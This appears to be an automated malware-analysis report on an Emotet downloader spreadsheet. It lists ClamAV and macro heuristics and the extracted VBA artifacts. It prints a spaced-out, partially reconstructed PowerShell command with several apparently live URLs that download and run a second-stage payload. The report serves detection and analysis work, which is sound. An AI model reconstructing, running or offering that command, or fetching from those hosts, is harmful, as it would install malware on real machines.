Malware Insights
The critical ClamAV detection and high-severity heuristics for Workbook_Open macros and CreateObject calls strongly indicate a malicious downloader. The VBA script contains obfuscated PowerShell commands that attempt to download and execute payloads from multiple URLs. The reconstructed PowerShell command is: 'wers hell -e w A B a b l i w 3 R h g D Z S 4 c d f g = " h t t p : / / s u m e d h a o n l i n e . c o m / w p - c o n t e n t / H y z N X J 3 0 X Q V B S R H / , h t t p : / / d i v a c h i n t e x i l e . c o m / w p - i n c l u d e d e s / W H w W R K s 8 K v 6 N z N m 6 / , h t t p : / / h o t e l a l a n d a m a l a b o l . c o m / 1 5 2 0 / b U d h p E P d f / , h t t p : / / s h w e n a n t a w i n . c o m / c o p m a / X T n Z i I i 0 2 v f g', which is used to download and execute a second-stage payload. The presence of Emotet-related indicators further supports this assessment.
Heuristics 5
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ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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VBA project inside OOXML medium OOXML_VBADocument contains a VBA project — VBA macros present
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basdf1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12041 bytes |
vbaProject_00.binac2df81237d6b7cb8d2663e1452de32954860a56019469261200528fe56c4064 |
vba-project | OOXML VBA project: xl/vbaProject.bin | 42496 bytes |
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